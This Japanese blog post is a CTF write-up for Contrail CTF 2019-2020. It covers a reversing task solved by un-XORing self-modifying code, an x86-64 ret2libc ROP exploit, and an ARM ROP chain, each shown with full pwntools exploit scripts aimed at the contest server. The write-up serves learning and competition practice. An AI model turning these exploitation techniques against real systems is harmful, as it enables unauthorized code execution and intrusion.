Project Euphoria

移行しました -> https://project-euphoria.netlify.app/

【謹賀新年】Contrail CTF writeup

年始の挨拶

あけましておめでとうございます。読者の皆様の本年度が良い年になることを心からお祈りいたします。
ところで、正月なので(は?)CTFに出ました。今回の記事は年末の妄想を書き散らしたクソ記事とは異なりCTFのWriteupになります。新年最初をこのような真面目な記事に出来て嬉しいです。

Contrail CTF

CTFチームContrail様が主催するContrail CTFは2019/12/31 00:00から2020/1/4 00:00まで開催されました。私はチーム./Vespiaryで出場しrevを1問とpwnを2問(とDiscordにフラグが書いてある問題を)解いて9位/78チーム(1pt以上入れたチーム)でした。年末年始のクソ忙しい中でも途中で問題が生えていたりインフラの整備に奔走したりしていて運営の皆様の熱意が伝わってくるCTFでした。問題の難易度と質も良く楽しく取り組めたCTFでした。

解いた問題

Discord (Misc: 1pt)

自明フラグ問題、Discordに入るとフラグが書いてある、おわり

ctrctf{W3lc0m3_c0ntra1l_ctf_d1sc0rd}

DownloaderLog (Rev: 100pt)

pcapファイルが与えられhttp通信中のファイルを抽出するとバイナリとその引数に指定されたと思われるファイルが手に入る。このバイナリは最初の分岐(引数に指定したファイルの中身と現在時刻の差が6000s以内)を突破すると.dataセクションへ飛んで自己書き換えコード(指定された部分が0x19とXORされている)を実行し命令群として正常な形にしてから書き換えられた部分が実行される。本当は復元したバイナリを解析して解く予定だったのだが、stringsをかけたところ断片的にフラグが見えたのでそれを繋ぎ合わせたらフラグが入手できた。使用したコード(バイナリの書き換えと逆アセンブル)とstringsの結果は次の通り。

from elftools.elf.elffile import ELFFile
from capstone import Cs, CS_ARCH_X86, CS_MODE_64


if __name__ == "__main__":
    elf = ELFFile(open("exec_save", "rb"))

    data_bytes = elf.get_section_by_name(".data").data()

    base_addr = 0x601050
    start_addr = 0x6010d5
    end_addr = 0x60125a

    new_asm = b""
    for i, b in enumerate(data_bytes):
        addr = base_addr + i

        if start_addr <= addr < end_addr:
            new_asm += (b ^ 0x19).to_bytes(1, "big")
        else:
            new_asm += b.to_bytes(1, "big")

    print(new_asm)

    md = Cs(CS_ARCH_X86, CS_MODE_64)

    for mnemonic in md.disasm(new_asm, base_addr):
        print("{}: {} {}".format(hex(mnemonic.address), mnemonic.mnemonic, mnemonic.op_str))

    f = open("exec_edited", "rb")
    raw_data = f.read()
    f.close()

    f = open("exec_edited", "wb")

    start_offset = 4192
    j = 0
    write_b = 0x00
    for i, b in enumerate(raw_data):
        write_b = b
        if 4192 <= i < 4192 + end_addr - start_addr:
            write_b = new_asm[j]
            j += 1

        f.write(write_b.to_bytes(1, "little"))

    f.close()
$ strings exec_edited
(略)
4na1yst
Nice :) Flag is here
3inary_H
Zare_H
2{u_H
ctrctfH
pwoxup}9mpt|Fr|`9#d
(略)

これを見てフラグがctrctf{u_are_31nary_4na1yst}かなと思ったら当たってた(末尾に変な文字が入って無くて助かった…)。

Welcomechain (Pwn: 100pt)

pwnのWelcome問題その1(その2はEasyShellcodeだが別のpwn担当が解いた)。ROP"するだけ"という問題で例によってputs(func@GOT)を利用してlibcのアドレスをリークした後にret2mainしてOne Gadgetを刺す。

フラグはctrctf{W31c0m3!_c0ntr4i1_ctf_r3t2l1bc!}

exploitコードは次の通り

from pwn import *


if __name__ == "__main__":
    elf = ELF("welcomechain")
    libc = ELF("libc.so.6")

    context.binary = elf

    stack_size = 0x20
    junk = ("a" * (stack_size + 0x08)).encode()

    # addr
    puts_plt = 0x4005a0
    sleep_got = 0x601040
    ret_main = 0x400740

    # rop gadget
    gadget_1 = 0x400853  # pop rdi; ret

    # libc
    sleep_libc = libc.symbols["sleep"]
    print("[+] sleep@libc: {}".format(hex(sleep_libc)))
    one_gadget_libc = 0x4f2c5

    payload = junk + p64(gadget_1) + p64(sleep_got) + p64(puts_plt) + p64(ret_main)

    # s = process("./welcomechain")
    s = remote("114.177.250.4", 2226)

    while True:
        r = s.recv(4096)
        print(r)
        if b"Please Input : " in r:
            break

    s.sendline(payload)

    while True:
        r = s.recv(4096)
        print(r)
        if len(r) <= 8 and r != b"\n":
            raw_sleep_addr = r.split(b"\n")[0]
            while len(raw_sleep_addr) < 8:
                raw_sleep_addr += b"\x00"
            sleep_addr = u64(raw_sleep_addr)
            print("[+]: Sleep: {}".format(hex(sleep_addr)))
        if b"Please Input : " in r:
            break

    gadget_addr = sleep_addr - sleep_libc + one_gadget_libc
    print("[+] one gadget: {}".format(hex(gadget_addr)))
    payload = junk + p64(gadget_addr)

    s.sendline(payload)

    while True:
        r = s.recv(4096)
        print(r)
        if b"Your input" in r:
            break

    s.interactive()

RaspiWorld (Pwn: 304pt)

ARMアーキテクチャのバイナリに対してROPをする問題。愛用しているROPgadget探索ツールであるrp++はARMに対応していないのでpwntoolsをインストールすると生えてくるROPgadgetコマンドを使用した。今回gadgetを使う上で悪用したARMの仕様は次の通り。

悪用したARMの仕様

  • 第1〜第4引数はr0~r3レジスタを用いる、それ以上はスタックからpopする。
  • ripに相当するものはpcレジスタ
  • 関数のreturnは実装に拠るがpcレジスタへ代入するかlrレジスタがリターンアドレス扱いになっているのでbx lr命令で飛ぶ
  • というわけでretの代わりになりそうなROP Gadgetはpop{..., pc}...; bx lrである。ただし前者が単にスタックをいじるだけで済むのに対して後者は一度pop{..., lr}等でlrレジスタを調整する必要がある
  • アドレスを指定してデータを格納する命令はstr register1, [regsiter2]を利用する。これはregister1の値をregister2中のアドレスに格納する

これらの仕様によれば例えばopen("flag", 0)を実行するためには次のようなスタックの構成にする(事前にflagの文字列はバイナリ中に存在するものとする)。

open()のアドレス
open()から帰ってきた後に実行したいアドレス
gadget3 (pop {lr, pc}) のアドレス
0x0
gadget2 (pop {r1, pc}) のアドレス
"flag"文字列のあるアドレス
gadget1 (pop {r0, pc}) のアドレス

やっていることはpop {レジスタ, pc}といった命令を利用して引数をセットし、その都度pcもセットすることで次のgadgetへと繋げている。また、実装に拠るがopen()のような関数はbx lrを実行することでサブルーチンを抜けているのでlrにリターンアドレスを設定してから実行する必要がある。
これ以外に利用したgadgetはデータ格納命令strでバイナリ中にflagという文字を書き込むのに利用した。

実際に用いた手順は次の通り。
バイナリ中からexecvesystemも見当たらなかったのでこれまでのpwn同様、ファイル名がflagのファイルを開くと推測、そこでROPによってopen("flag", 0) -> read(fd, buf, 0x100(適当なサイズ)) -> puts(buf)を実行することを考える。
strings 0.elf | grep flagを実行して調べると、バイナリ中にflag+終端文字で終わる部分は無さそうだったので自分で書き込み可能領域に書き込むことを考える。ARMではstr register1, [register2]という命令でregister1の値をregister2の値をアドレスとして解釈して格納できるためこれを利用する(なお、32bitなのでflag\0の5文字を書き込むためには2度str命令を経る必要があるが、実際では忘れておりたまたま.dataセクションが0クリアされていたので助かった)。
後は上で述べたような方法でROPチェーンを構成し望みどおりの操作を実行すると無事にflagファイルの中身を見ることができる。

フラグはctrctf{mu1tip13_plaf0rm3r}

使用したexploitコード(多分参加者の汚さランキングで1位)

from pwn import *


if __name__ == "__main__":
    elf = ELF("0.elf")
    context.binary = elf
    # s = process("./0.elf")
    s = remote("114.177.250.4", 7777)

    r = s.recv(4096)
    print(r)

    junk = b"aaaa" * 17

    # addr
    main = 0x104cc
    puts = 0x17148
    open_addr = 0x27480
    read_addr = 0x27510
    test_text = 0x6facc  # libc-start.c
    data = 0x95080

    # rop gadget
    gadget_1 = 0x25e1c  # pop {r0, r4, pc}
    gadget_2 = 0x6d108  # pop {r1, pc}
    gadget_3 = 0x10160  # pop {r3, pc}
    gadget_4 = 0x2842c  # str r0, [r2] ; pop {r4, pc}
    gadget_5 = 0x5b980  # str r2, [r3] ; pop {r4, pc}
    gadget_6 = 0x1df84  # str r3, [r4] ; pop {r4, pc}
    gadget_7 = 0x22e80  # pop {lr} ; bx r3
    gadget_8 = 0x6d078  # pop {r2, r3} ; bx lr


    write_flag = p32(gadget_1) + p32(data) + p32(data) + p32(gadget_3) + b"flag" + p32(gadget_6) + p32(data)

    payload = junk + write_flag + p32(gadget_1) + p32(data) + p32(data) + p32(gadget_2) + p32(0x0) + p32(gadget_3) + p32(open_addr) + p32(gadget_7) + p32(gadget_2) + p32(data + 5) + p32(gadget_8) + p32(0x100) + p32(0x100) + p32(data + 5) + p32(read_addr) + p32(0x114514) + p32(gadget_1) + p32(data + 5) + p32(data + 5) + p32(puts)

    s.sendline(payload)

    while True:
        r = s.recv(4096)
        print(r)
        if b"Welcome" in r:
            break

終わった後に色々な人のwriteup見たんですけどswi命令というのを使うと割り込んでシステムコールが吐けるらしい、帰省先から戻ったら検証します。

反省

まず問題自体の反省以前にCTF期間中に酒を飲むのをやめるべきでした。今回主催の中でも特に力を入れていたContrailの道路さんとは日頃仲良くさせていただいているので参加意思を強く表明していたのですが実際は実家に帰って酒と飯と惰眠を貪るだけの生活を送っており当初想定していた程は参加できませんでした。今年はCTF期間中は(できるだけ)酒を飲まないことを目標にしようと思います(こう見ると"低レベル"な目標ですね、Rev, pwnだけに)。

あと最近、自分の粘り強く取り組む力が薄れていると感じています。CTF初陣となったangstrom CTF 2019は(暇なのもあって)問題に粘り強く取り組んでいたのですが最近はわからないと直ぐに問題を投げて別のことを始めたりしています。低レイヤー系の問題(特にRev)は根性でバイナリを読むことが正攻法にも関わらず、その複雑さを見て投げてしまうのは取れたかもしれない点数を逃してしまうという点で大問題ですし、何より自分の力になりません。メンバーが増えたり彼らが強くなったりして気が抜けているのもあり、この傾向が強くなってきたので禁酒すると共にまずはそこを直したいです。

問題への反省ですがまずForensicsに手も足も出なかったことが悔やまれます。最近出たCTFではDFIR系の問題が少なくVolatility等を使う機会に恵まれませんでした。そんな中今回のCTFでは本格的なDFIR系の問題が出題されており作問者様のWriteupを読んでも何がなんだかという感じでした。Alice's PasswordもSolved数だけ見れば行けそうな問題だったのに何も思いつかなかったのは私の知識, 技術, 経験の全てが不足していた結果です。

続いて唯一のCrypto問題であり、RaspiWorld以上の時間をかけて解けなかったdocument_rescueですが、こちらは思いついたのに想定解では無いと思ってスルーしたポイントが2点ありました。pdfのファイル形式絡みということでフッタ(%%EOF)にも注目する問題だったのですが、私は馬鹿なので一瞬思いついたものの"末尾だしヘッダまで遡って影響与えないだろ"とか思ってスルーしてしまいました。フッタ部分で追加の合同方程式が加わることはわかったのですがあろうことか既知の数字(暗号ブロックの一部)を未知数だと考えてしまい、制約も未知数も増えるから使えないとかいう意味不明な思考に至っていました。
その後鍵の総当りを試みたのですが数が多くて断念しました。これは実は先程のフッタを考慮した制約を入れると非常に少なくなり直ぐに解ける(らしい、帰省先から戻ったら検証します)のですがこれを入れなかったせいで"こんな膨大な数の総当りは無いだろう、きっと綺麗な解法(想定解が十分綺麗な解法です)があるのだろう"と考え一生存在しない解法を探してました。

結び

年始からCTFに参加できたので今年もこんな感じで色々なCTFに出ていけたらと思っています。特にRaspiWorldをなんとか解けたのは非常に良いスタートを切れたと思っているのでこの調子でpwnの勉強もいい感じに進めていきたいです。
改めましてこのような楽しいCTFを開催してくださったContrailの皆様ありがとうございました。
最後に、年末年始にも関わらず参加して多数のフラグを入れてくれた./Vespiaryのみんなもありがとうございました、今年も全力で寄生するのでよろしく。